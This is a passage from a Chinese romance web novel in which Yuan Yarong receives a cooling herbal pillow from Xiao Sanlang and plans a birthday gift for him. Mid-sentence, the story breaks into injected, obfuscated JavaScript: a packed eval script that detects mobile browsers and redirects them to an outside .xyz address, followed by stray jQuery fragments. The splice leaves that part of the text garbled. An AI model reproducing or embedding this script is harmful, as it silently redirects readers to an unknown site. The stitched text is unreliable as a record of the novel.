四目相对，转瞬都低下头来。


    袁雅蓉欲言又止，看他没接着开口，才继续问道：“你还没说昨晚找我什么事呢。”话说完才发现肖三郎身后拿着什么东西，一看是个大包袱，又问道：“这是什么？”


    肖三郎把包袱递给她，“送你的。”


    包袱解开来一看是个凉枕，枕头两边是缎子，上面绣着云纹，中间是竹面，摸上去冰冰凉凉的。


    袁雅蓉笑着掂了掂枕头：“你怎么知道我夜里睡觉闷？”


    肖三郎：“不然怎么会半夜被蚊子扰？定是嫌热把帐子拉开透气了。”


    他知道袁雅蓉那屋床是有帐子的，不像医馆里，只一张床摆那儿。


    袁雅蓉仔细看了看这枕头，中间也软乎乎的，凑近闻了闻，有一股草药香。


    她再使劲嗅了嗅，“这是？”


    肖三郎：“哦，这里面有酸枣仁、决明子、合欢花等物，你不是睡眠浅吗？一直靠药物助眠也不是法子，这些疏肝解郁，闻着它也能助眠。”


    袁雅蓉抱着枕头，也不管它是否助眠，这炎炎夏日里，枕着它肯定要比屋里那棉布枕头凉快得多。


    “其实昨晚拿到这枕头就想给你送过来的，没想到我去晚了，这段日子谢谢你照顾董叔。”


    “昨晚确实睡得早些，许久没织布，在那儿做了半天感觉有些累。”


    两人这么并肩走着，袁雅蓉觉着有些羞涩，轻声细语道：“其实我很乐意帮你的忙。”


    话音一落，肖三郎感觉到双颊一股热，吞吐道：“嗯……也不知道怎么，董叔就听你的话，真把你当莺莺了。”


    听到“莺莺”二字，袁雅蓉顿感一丝无奈。


    这段日子为了照顾董老爹，感觉自己更多时候是“董莺莺”，叹了一口气，“董叔也怪可怜的，只有这么一个女儿，定是把莺莺捧在心尖上疼。可是三哥，我终究不是董莺莺。”


    肖三郎眸色一沉，沉默片刻说道：“是……我，我知道。”


    到了王家大门外，袁雅蓉掏钥匙开门，不经意间发现身后的肖三郎仍站着不动。


    她看了看肖家紧闭的大门，想来这时候郭氏和肖大婶都睡了，提醒道：“三哥快拿了东西回医馆吧，不然董叔醒了，茂仁一个人可应付不了。”


    大门打开了，她把手里枕头拿起来，笑说道：“谢谢你送的枕头，我先进去了。”


    肖三郎：“嗯，夜里记得把帐子拉好。”


    直到王家大门再关上，肖三郎站在那里仍一动不动，看着那门愣神许久，才缓缓离开。


    一夜安睡，有了新枕头，袁雅蓉这一夜没觉得闷热，且枕头里的药香比挂在床头床尾的两个药包更浓烈，闻着这味道睡得更香。


    今日正好调整药方了，肖三郎把里面助眠的药物除去。


    临近中午时，袁雅蓉害怕又被董老爹留下来吃饭，找机会开溜。


    趁着董老爹在桌上数黄豆的功夫，袁雅蓉缓缓站起身，脚步轻轻地退到了前堂。


    肖三郎已经帮她把药抓好了，“把药带回去，这次没以前那么苦了。”


    看到药，袁雅蓉微微蹙眉：“毕竟是药，还不是苦的？我什么时候能不吃药啊？”


    肖三郎淡淡一笑：“你气色确实比之前好多了，可想停药的话，那得吃肉。”


    袁雅蓉一激灵，撇着嘴说道：“那算了吧，我还是吃药。”说完拿上药包转身离开。


    看到她这副害怕吃肉的样子，肖三郎不由地轻轻笑出声，低头时发现桌案上袁雅蓉的手帕，这是刚才她在前面帮忙卖复颜膏忘在这里的。


    肖三郎拿起手帕，想都没想朝着大门外喊：“莺莺！”


    当他喊出声的那一刻，瞬间觉得不妥，正要改口时，门外的袁雅蓉回过头来。


    袁雅蓉回头看到肖三郎时，也顿感意外自己竟然回头，脸颊一红，心跳急速加快。


    诧异的两双眼相视一瞬，袁雅蓉随即把头又转过去。


    肖三郎拿着手帕走出门来，“阿蓉，你的手帕忘了。”


    袁雅蓉觉得太尴尬，拿上手帕匆匆离开。


    中午吃过药午睡，袁雅蓉枕着凉枕，怀里抱着旧枕头，脑海里不断浮现起中午离开医馆那“丢人”的瞬间，不禁在床上滚来滚去。


    躁动片刻，她猛地坐起身来，双手啪啪打了打自己的脸，自言自语道：“你怎么这么没出息？还真想当董莺莺？人家叫一声居然回头？”


    坐着呆愣片刻又躺下来，肖三郎的面容始终在脑海里反复重现。


    “这是中邪了？”


    脸颊实在太烫，她把凉枕从脑袋下抽出来，冰凉的竹面盖在脸上降温。


    片刻后她又冷不丁地坐起身来，自言自语道：“上次聊天三哥好像说他也是七月生的，是初几来着？”


    一个中午过去，袁雅蓉一直没睡着，始终没想起来肖三郎的生辰到底七月哪一天。


    出门来到隔壁，院子里静悄悄的，堂屋上厨房里都没人。


    肖大婶还在午睡，袁雅蓉看到东屋门开着，看得到郭氏坐在床头，轻轻给熟睡的阿娈摇扇子。


    她扒在门边上，轻声唤道：“二嫂。”


    郭氏转过头来，笑盈盈地朝她招手，唤她进来。


    “妹妹睡醒了？”郭氏轻声问道，拉着她坐到床边。


    袁雅蓉迟疑地嗯了一声，看向床上的阿娈。


    屋里也弥漫着淡淡的药香，床头床尾都挂着袁雅蓉做的药包。


    阿娈睡得很香甜，头下枕着一个薄薄的小枕头，还垫着汗巾。天气炎热，郭氏只给她肚子上盖了一张薄巾，小肚子圆鼓鼓的。


    水嫩嫩的脸蛋，樱桃小嘴时不时地动一下，似乎梦里还在吃东西。


    看到阿娈蠕动的小嘴，袁雅蓉不由地轻笑，压低声音说道：“阿娈真可爱，小模样真像你。”


    郭氏抿嘴笑了笑：“刚生出来的时候都说像她爹，现在到时候有几分像我了。”


    袁雅蓉再仔细瞧了瞧这母女俩，“嘴巴鼻子像你，眼睛挺像二哥。”


    郭氏：“你下午不着急去医馆啊？”


    “董叔估计还没醒呢，我来看看阿娈就去。”袁雅蓉一看到


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16469472|181529||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    阿娈，脸上藏不住的喜爱之色。


    阿娈穿着半袖的短衣，露出藕节一样的手臂，白白胖胖的。袁雅蓉真想伸手去捏一捏，但又怕弄醒阿娈，只能强制按捺住内心躁动。心想今天吃过晚饭后，一定要好好抱抱阿娈。


    看了好一会儿，忽然想起过来还有“正事”。


    她透过房门望了一眼北屋，依稀还能听到些鼾声。


    “嫂嫂，三哥生辰是不是快了？”


    郭氏想了想，眸子一亮：“诶对啊，好像是这个月初六，那不就后日吗？”


    说完又望了一眼门外，叹了口气：“娘近日也够累的，主要是阿婵那孩子一直没下落，说昨晚梦见四奶奶了，哭了大半宿。”


    对于许婵这件事上，肖大婶一直很自责，怨自己没早些下泉州把许婵接回来。


    郭氏：“去年三郎生辰，娘还在京城没回来，正好他二哥在家，叫上四爷爷和四奶奶，也就一家子坐一块儿吃个饭。那会儿三郎还整日醉酒来着，还不都因为董莺莺的事。”


    想到这里，郭氏也深感无奈，前两年肖三郎因为董莺莺整日消沉。


    今年倒是能上医馆坐诊了，又管起董老爹来。


    前日子在巷子里碰见徐婶，人家都说不好给三郎说亲了，带这个董老爹，哪家姑娘不摇头？


    袁雅蓉坐了会儿出来，一路上在想该给肖三郎送个什么礼物好。


    平日里看不出他喜欢什么东西，似乎百口不忌，他的衣裳鞋裤都是肖大婶给他准备的。


    他倒是喜欢看医书，袁雅蓉要买医书自然是上书局，只不过书局那些，肖三郎怕是早已读过。


    袁雅蓉一路走着，眼睛浏览着街边小摊上的物件。


    送个什么好呢？这些他好像都不感兴趣。


    袁雅蓉迈着悠闲的步子，心里暗想：“要是自己有起死回生的妙方就好了，把董莺莺给他救活了，三哥肯定高兴。婚事有了着落，婶子的烦心事也少了一件。”


    -


    初五这天晚上，因为这两天准备制作复颜膏，袁雅蓉帮着捣药，忙到二更才离开医馆。


    董老爹已经睡着了，肖三郎像往日那样送她回去。


    “明日是你生辰对吧？”


    “嗯。”


    “那……你要回家吃饭吗？”


    肖三郎犹豫了，没有回答。


    袁雅蓉接着说道：“你都好久没回家陪婶子吃饭了。”


    肖三郎一脸愁绪，之前还觉得搬到了医馆，每天抽出空来回家看看母亲很容易。


    到如今搬出门大半月了，他只见过两回母亲，还有一次是肖大婶路过医馆，进门来看看的。


    也并不是他不想回家，主要是白天里董老爹这边离不开人，医馆里又忙。


    晚上等董老爹睡着，茂仁能帮忙看会儿，但这个时候回去，想必母亲已经歇了。


    说到吃饭，肯定是在中午，肖三郎犹豫道：“我若是中午回家吃饭，董叔怎么办？茂仁的话他可不听。”


    袁雅蓉琢磨了下，“明儿我陪董叔吃午饭吧，你回家陪陪婶子。”